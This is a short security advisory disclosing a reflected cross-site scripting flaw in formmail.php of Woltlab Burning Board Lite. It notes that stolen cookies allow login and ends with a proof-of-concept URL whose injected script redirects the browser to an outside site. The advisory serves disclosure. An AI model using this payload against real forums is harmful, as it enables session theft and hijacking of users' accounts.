Advisory Information -------------------- Advisory name : Woltlab Burning Board Lite formmail.php XSS Discovered by : drhankey / it-security23.net Vendor Name : Woltlab Vendor Homepage : http://www.woltlab.de Software : Woltlab Burning Board Lite Vulnerability Type : Cross-Site-Scripting Vulnerable Versions : 1.0.0, 1.0.1e, maybe more Platforms : OS Independent, PHP What is Woltlab Burning Board Lite? ---------------------------------- Woltlab Burning Board Lite is the free version of the Woltlab Burning Board, a PHP based bulletin board Vulnerability Description: ------------------------- formmail.php outputs the "userid"-parameter unfiltered, so its possible to add arbitary Code to the output by using a malformed link. The Board also allows logging in with stolen cookies. Proof of Concept: ----------------- http://website/board/formmail.php?userid=1"><script>document.location.href="http://www.it-security23.net";